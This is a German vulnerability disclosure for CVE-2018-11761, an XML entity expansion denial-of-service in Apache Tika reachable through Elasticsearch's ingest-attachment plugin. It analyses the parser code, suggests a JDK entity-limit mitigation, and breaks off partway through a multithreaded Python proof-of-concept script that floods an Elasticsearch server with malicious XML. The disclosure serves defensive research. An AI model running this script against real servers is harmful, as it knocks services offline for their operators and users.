
Apache Tika Denial-of-Service-Schwachstelle (CVE-2018-11761)
In einer aktuellen Forschung zu Apache Tika habe ich eine DOS (Denial of Service) Schwachstelle im XML-Parser entdeckt. Sie wird dadurch verursacht, dass der Parser XML-Dokumente nicht ordnungsgemäß parst.
Wie wir wissen, ermöglicht das Core-Ingest-Anhangs-Plugin Elasticsearch, Dateianhänge in gängigen Formaten (wie PPT, XLS und PDF) mit der Apache-Text-Extraction-Bibliothek Tika zu extrahieren. Schauen wir uns daher den Quellcode des Ingest-Anhangs-Plugins an.```Java /** subset of parsers for types we support */ private static final Parser PARSERS[] = new Parser[] { // documents new org.apache.tika.parser.html.HtmlParser(), new org.apache.tika.parser.rtf.RTFParser(), new org.apache.tika.parser.pdf.PDFParser(), new org.apache.tika.parser.txt.TXTParser(), new org.apache.tika.parser.microsoft.OfficeParser(), new org.apache.tika.parser.microsoft.OldExcelParser(), ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES), new org.apache.tika.parser.odf.OpenDocumentParser(), new org.apache.tika.parser.iwork.IWorkPackageParser(), new org.apache.tika.parser.xml.DcXMLParser(), new org.apache.tika.parser.epub.EpubParser(), };
Tatsächlich verwendet das Plugin [`org.apache.tika.parser.xml.DcXMLParser()`](https://github.com/apache/tika/blob/e6e3b8817053e981f3843f1d3b7055b4ae30ed73/tika-parsers/src/main/java/org/apache/tika/parser/xml/DcXMLParser.java) als Parser, um Inhalte aus einer XML-Datei zu extrahieren. Bei näherer Untersuchung sehen wir die folgenden Aufrufe:
* `DcXMLParser()` erweitert [`XMLParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java)
* `XMLParser` verwendet [`XMLReaderUtils.parseSAX`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java#L75) zum Parsen von XML-Dokumenten
* `XMLReaderUtils.parseSAX` ruft [`setPoolSize`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L470) -> [`getSAXParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L139) -> [`getSAXParserFactory`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L163) auf```java
public static SAXParserFactory getSAXParserFactory() {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setNamespaceAware(true);
factory.setValidating(false);
try {
factory.setFeature(
XMLConstants.FEATURE_SECURE_PROCESSING, true);
} catch (ParserConfigurationException e) {
} catch (SAXNotSupportedException e) {
} catch (SAXNotRecognizedException e) {
// TIKA-271: Some XML parsers do not support the
// secure-processing feature, even though it's required by
// JAXP in Java 5. Ignoring the exception is fine here, as
// deployments without this feature are inherently vulnerable
// to XML denial-of-service attacks.
}
return factory;
}
In der obigen Funktion sehen wir sehr eingeschränkte Sicherheitsbeschränkungen für das SAXParserFactory.newInstance()-Objekt:```Java
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
Gemäß Oracles Erklärung weist die Aktivierung von [`XMLConstants.FEATURE_SECURE_PROCESSING`](https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html) die Implementierung an, XML sicher zu verarbeiten. Dies kann Grenzen für XML-Konstrukte setzen, um Bedingungen wie Denial-of-Service-Angriffe zu vermeiden.
Tatsächlich ist es jedoch nicht in der Lage, vollständig gegen [XML Entity Expansion](http://www.ws-attacks.org/XML_Entity_Expansion) zu schützen. Ein Angreifer kann dennoch ein manipuliertes XML-Dokument an den ES-Server senden, um einen DoS-Angriff über die XML-Entity-Expansion-Schwachstelle durchzuführen, wie im Abschnitt `Proof of Concept` erwähnt. Ich habe den Quellcode von Apache Tika überprüft und festgestellt, dass sie nur die Funktion `XMLConstants.FEATURE_SECURE_PROCESSING` aktivieren, von der sie gemäß [diesem Artikel](http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html) glauben, dass sie vor dieser Art von Angriff schützen kann, da sie die Anzahl der Entity-Erweiterungen standardmäßig auf 64.000 begrenzt. Tatsächlich können wir diese 64.000 Entity-Erweiterungen jedoch nutzen, um ein verstärkendes XML-Objekt im Speicher zu erzeugen, z. B. hat die Datei `ES_XML.xml` im POC nur eine Größe von etwa 64 KB, aber sobald sie auf den Backend-Tika-Server auf dem ES-Server hochgeladen wird, muss Tika mindestens 6 MB Speicher (6 MB / 64 KB = 100-fach) zuweisen, um sie zu parsen, was zu einem schnellen Anstieg der CPU-Auslastung führt.
Daher könnte meinem Verständnis nach eine mögliche Lösung darin bestehen, die folgende Systemeigenschaft zu setzen, um die Auswirkungen gemäß [dem Oracle-Dokument](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html) stark zu begrenzen:```
jdk.xml.entityExpansionLimit=1
Die folgende Demonstration wurde auf ElasticSearch 6.3.31 getestet und verifiziert, das Tika 1.18 verwendet:
poc_dos_es.py:```Pythonimport requests import sys import base64 import json import threading import sys
headers = {"Content-Type" : "application/json"}
class ExploitThread(threading.Thread): def init(self, es_ip, es_port, mal_xml_file, thread_index): threading.Thread.init(self) self.es_ip = es_ip self.es_port = es_port self.mal_xml_file = mal_xml_file self.thread_index = thread_index self.num = 1
def create_ingest_att_pipeline(self, url):
pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
data = {
"description" : "Extract attachment information",
"processors" : [{
"attachment" : {
"field" : "data",
"indexed_chars": "-1"
}
}]
}
res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))
def send_payload(self, url, payload):
ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
data = {
"data": payload
}
res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))